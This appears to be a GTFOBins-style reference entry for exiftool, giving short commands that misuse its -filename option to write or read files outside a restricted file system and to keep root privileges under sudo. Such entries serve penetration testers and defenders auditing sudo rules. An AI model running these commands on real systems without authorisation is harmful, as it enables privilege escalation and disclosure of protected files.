If the permissions allow it, files are moved (instead of copied) to the destination.

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

LFILE=file_to_write
INPUT=input_file
exiftool -filename=$LFILE $INPUT

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

LFILE=file_to_read
OUTPUT=output_file
exiftool -filename=$OUTPUT $LFILE
cat $OUTPUT

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

LFILE=file_to_write
INPUT=input_file
sudo exiftool -filename=$LFILE $INPUT